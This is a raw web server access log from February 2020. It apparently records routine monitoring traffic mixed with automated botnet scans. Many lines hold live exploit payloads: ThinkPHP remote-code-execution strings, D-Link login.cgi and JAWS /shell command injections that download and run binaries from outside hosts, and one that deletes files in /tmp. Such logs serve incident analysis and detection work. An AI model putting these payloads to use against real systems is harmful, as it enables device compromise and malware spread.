60.191.66.222 - - [08/Feb/2020:23:12:31 +0100] "GET /manager/html HTTP/1.1" 404 317 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.2; WOW64; Trident/6.0)"
60.191.66.222 - - [08/Feb/2020:23:12:31 +0100] "GET /manager/html HTTP/1.1" 404 317 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.2; WOW64; Trident/6.0)"
212.91.246.72 - - [08/Feb/2020:23:12:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
175.139.205.186 - - [08/Feb/2020:23:13:19 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
5.101.0.209 - - [08/Feb/2020:23:13:43 +0100] "GET /?a=fetch&content=<php>die(@md5(HelloThinkCMF))</php> HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
5.101.0.209 - - [08/Feb/2020:23:13:45 +0100] "GET /?XDEBUG_SESSION_START=phpstorm HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
212.91.246.72 - - [08/Feb/2020:23:13:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
5.101.0.209 - - [08/Feb/2020:23:14:30 +0100] "GET /?a=fetch&content=<php>die(@md5(HelloThinkCMF))</php> HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
5.101.0.209 - - [08/Feb/2020:23:14:31 +0100] "GET /?XDEBUG_SESSION_START=phpstorm HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
5.101.0.209 - - [08/Feb/2020:23:14:40 +0100] "GET /?a=fetch&content=<php>die(@md5(HelloThinkCMF))</php> HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
5.101.0.209 - - [08/Feb/2020:23:14:41 +0100] "GET /?XDEBUG_SESSION_START=phpstorm HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
212.91.246.72 - - [08/Feb/2020:23:14:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
42.119.241.137 - - [08/Feb/2020:23:15:12 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.156.219.164 - - [08/Feb/2020:23:15:24 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://2.56.8.156/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [08/Feb/2020:23:15:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [08/Feb/2020:23:16:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
1.162.144.94 - - [08/Feb/2020:23:16:54 +0100] "GET /shell?cd+/tmp;rm+-rf+*;wget+http://jhasdjahsdjasfkdaskdfasBOT.niggacumyafacenet.xyz/jaws;sh+/tmp/jaws HTTP/1.1" 404 306 "-" "Hello, world"
46.118.121.248 - - [08/Feb/2020:23:17:00 +0100] "GET / HTTP/1.1" 200 1229 "https://dav.kz/" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) Netscape/8.0.4"
46.118.121.248 - - [08/Feb/2020:23:17:00 +0100] "GET / HTTP/1.1" 200 1229 "https://dav.kz/" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) Netscape/8.0.4"
46.118.121.248 - - [08/Feb/2020:23:17:01 +0100] "GET / HTTP/1.1" 200 1229 "https://dav.kz/" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) Netscape/8.0.4"
212.91.246.72 - - [08/Feb/2020:23:17:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [08/Feb/2020:23:18:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
109.207.102.79 - - [08/Feb/2020:23:19:08 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
110.154.223.197 - - [08/Feb/2020:23:19:27 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [08/Feb/2020:23:19:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [08/Feb/2020:23:20:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
54.36.150.92 - - [08/Feb/2020:23:21:44 +0100] "GET /seiten/partner.htm HTTP/1.1" 404 335 "-" "Mozilla/5.0 (compatible; AhrefsBot/6.1; +http://ahrefs.com/robot/)"
212.91.246.72 - - [08/Feb/2020:23:21:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
171.229.226.197 - - [08/Feb/2020:23:22:30 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [08/Feb/2020:23:22:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [08/Feb/2020:23:23:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
36.230.89.221 - - [08/Feb/2020:23:24:38 +0100] "GET /shell?cd+/tmp;rm+-rf+*;wget+http://jhasdjahsdjasfkdaskdfasBOT.niggacumyafacenet.xyz/jaws;sh+/tmp/jaws HTTP/1.1" 404 306 "-" "Hello, world"
212.91.246.72 - - [08/Feb/2020:23:24:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [08/Feb/2020:23:25:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
79.117.217.234 - - [08/Feb/2020:23:26:16 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [08/Feb/2020:23:26:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
114.40.172.231 - - [08/Feb/2020:23:27:38 +0100] "GET /shell?cd+/tmp;rm+-rf+*;wget+http://jhasdjahsdjasfkdaskdfasBOT.niggacumyafacenet.xyz/jaws;sh+/tmp/jaws HTTP/1.1" 404 306 "-" "Hello, world"
171.229.228.209 - - [08/Feb/2020:23:27:46 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [08/Feb/2020:23:27:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [08/Feb/2020:23:28:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
88.226.12.28 - - [08/Feb/2020:23:28:58 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
178.128.255.43 - - [08/Feb/2020:23:29:15 +0100] "GET / HTTP/1.0" 200 1229 "-" "-"
178.128.255.43 - - [08/Feb/2020:23:29:15 +0100] "Gh0st\xad" 501 321 "-" "-"
178.128.255.43 - - [08/Feb/2020:23:29:18 +0100] "HELP" 501 319 "-" "-"
178.128.255.43 - - [08/Feb/2020:23:29:18 +0100] "\x1b\x84\xd5\xb0]\xf4\xc4\x93\xc50\xc2X\x8c\xda\xb1\xd7\xac\xafn\x1d\xe1\x1e\x1a3*\x85\xb7\x1d'\xb1\xc9k\xbf\xf0\xbc" 501 350 "-" "-"
178.128.255.43 - - [08/Feb/2020:23:29:20 +0100] "\x16\x03\x01" 501 318 "-" "-"
178.128.255.43 - - [08/Feb/2020:23:29:22 +0100] "\xbd\xff\x9e\xffE\xff\x9e\xff\xbd\xff\x9e\xff\xa4\xff\x86\xff\xc4\xff\xbe\xff\xc7\xff\xdb\xff\xee\xffx\\d9\xff\xed\xff\xa4\xff\x9d\xff\xcf\xff\xd8\xff\xe5\xff\x04\xff\x12\xff0\xff\xb1\xff\xbd\xff\xe7\xff\xe2\xff\xdd\xff\xdc\xff\xde\xff\xc8\xff\xcc\xff\xbe\xff\xf8\xff&\xff\x01\xff\x0f\xff\xf5\xff\x06\xff\xff\xff\xf7\xff!\xff\xde\xff\x02\xff&\xff\x0c\xff\x01\xff\xf5\xff" 400 329 "-" "-"
172.105.92.229 - - [08/Feb/2020:23:29:40 +0100] "GET / HTTP/1.0" 200 1229 "-" "-"
212.91.246.72 - - [08/Feb/2020:23:29:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [08/Feb/2020:23:30:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [08/Feb/2020:23:31:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [08/Feb/2020:23:32:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [08/Feb/2020:23:33:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
183.80.89.65 - - [08/Feb/2020:23:33:52 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [08/Feb/2020:23:34:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
52.175.31.59 - - [08/Feb/2020:23:34:57 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
178.89.195.61 - - [08/Feb/2020:23:35:33 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
119.1.91.145 - - [08/Feb/2020:23:35:45 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [08/Feb/2020:23:35:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [08/Feb/2020:23:36:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
112.193.170.179 - - [08/Feb/2020:23:37:05 +0100] "HEAD http://123.125.114.144/ HTTP/1.1" 200 - "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.132 Safari/537.36"
212.91.246.72 - - [08/Feb/2020:23:37:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
190.122.152.185 - - [08/Feb/2020:23:37:55 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
212.91.246.72 - - [08/Feb/2020:23:38:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [08/Feb/2020:23:39:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [08/Feb/2020:23:40:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [08/Feb/2020:23:41:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [08/Feb/2020:23:42:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [08/Feb/2020:23:43:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [08/Feb/2020:23:44:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [08/Feb/2020:23:45:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
109.207.102.79 - - [08/Feb/2020:23:46:06 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [08/Feb/2020:23:46:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
124.47.8.10 - - [08/Feb/2020:23:46:56 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [08/Feb/2020:23:47:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [08/Feb/2020:23:48:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
27.216.245.215 - - [08/Feb/2020:23:49:05 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://176.123.4.234/Dlinkrep.sh%20-O%20-%3E%20/tmp/kh;Dlinkrep.sh%20/tmp/kh%27$ HTTP/1.1" 400 329 "-" "Hakai/2.0"
34.92.198.38 - - [08/Feb/2020:23:49:09 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [08/Feb/2020:23:49:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
183.80.85.170 - - [08/Feb/2020:23:50:42 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [08/Feb/2020:23:50:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [08/Feb/2020:23:51:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [08/Feb/2020:23:52:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
151.72.206.126 - - [08/Feb/2020:23:53:01 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://185.248.102.144/Dlinkrep.sh%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "PACKETS/2.0"
58.189.208.61 - - [08/Feb/2020:23:53:34 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://185.248.102.144/Dlinkrep.sh%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "PACKETS/2.0"
5.141.153.243 - - [08/Feb/2020:23:53:39 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [08/Feb/2020:23:53:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
42.119.97.209 - - [08/Feb/2020:23:54:07 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [08/Feb/2020:23:54:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [08/Feb/2020:23:55:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [08/Feb/2020:23:56:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [08/Feb/2020:23:57:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [08/Feb/2020:23:58:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
42.117.213.2 - - [08/Feb/2020:23:59:19 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [08/Feb/2020:23:59:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
42.117.166.9 - - [09/Feb/2020:00:00:59 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
217.241.48.183 - - [09/Feb/2020:00:01:06 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
179.183.203.211 - - [09/Feb/2020:00:03:13 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
27.216.245.215 - - [09/Feb/2020:00:05:43 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://176.123.4.234/Dlinkrep.sh%20-O%20-%3E%20/tmp/kh;Dlinkrep.sh%20/tmp/kh%27$ HTTP/1.1" 400 329 "-" "Hakai/2.0"
78.186.137.112 - - [09/Feb/2020:00:07:30 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://zxcxffyttygbbgfgf12121bot.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Karu/2.0"
181.112.40.254 - - [09/Feb/2020:00:08:15 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/601.7.7 (KHTML, like Gecko) Version/9.1.2 Safari/601.7.7"
46.118.126.142 - - [09/Feb/2020:00:08:20 +0100] "GET / HTTP/1.1" 200 1229 "https://casino-vulkane.com/" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; Win64; x64; SV1; .NET CLR 2.0.50727)"
46.118.126.142 - - [09/Feb/2020:00:08:20 +0100] "GET / HTTP/1.1" 200 1229 "https://casino-vulkane.com/" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; Win64; x64; SV1; .NET CLR 2.0.50727)"
46.118.126.142 - - [09/Feb/2020:00:08:20 +0100] "GET / HTTP/1.1" 200 1229 "https://casino-vulkane.com/" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; Win64; x64; SV1; .NET CLR 2.0.50727)"
88.201.179.77 - - [09/Feb/2020:00:09:02 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
46.45.246.11 - - [09/Feb/2020:00:11:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
41.210.14.65 - - [09/Feb/2020:00:11:37 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
2.135.90.61 - - [09/Feb/2020:00:12:02 +0100] "GET /shell?cd+/tmp;rm+-rf+*;wget+http://scan.casualaffinity.net/jaws;sh+/tmp/jaws HTTP/1.1" 404 306 "-" "Hello, world"
119.207.195.52 - - [09/Feb/2020:00:12:43 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
193.57.40.38 - - [09/Feb/2020:00:12:57 +0100] "GET /solr/admin/info/system?wt=json HTTP/1.1" 404 327 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
179.179.188.213 - - [09/Feb/2020:00:15:01 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
42.117.60.16 - - [09/Feb/2020:00:16:05 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
42.113.69.80 - - [09/Feb/2020:00:19:24 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
42.112.50.219 - - [09/Feb/2020:00:21:59 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.156.219.164 - - [09/Feb/2020:00:23:05 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://2.56.8.156/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
193.239.213.94 - - [09/Feb/2020:00:23:51 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
113.22.119.97 - - [09/Feb/2020:00:32:44 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
81.4.86.47 - - [09/Feb/2020:00:33:44 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
1.52.154.228 - - [09/Feb/2020:00:34:25 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
113.68.90.86 - - [09/Feb/2020:00:37:43 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://185.248.102.144/Dlinkrep.sh%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "PACKETS/2.0"
83.97.20.33 - - [09/Feb/2020:00:42:57 +0100] "GET / HTTP/1.0" 200 1229 "-" "-"
83.97.20.33 - - [09/Feb/2020:00:43:11 +0100] "OPTIONS / HTTP/1.0" 200 - "-" "-"
83.97.20.33 - - [09/Feb/2020:00:43:26 +0100] "HEAD / HTTP/1.0" 200 - "-" "-"
201.148.246.50 - - [09/Feb/2020:00:44:07 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
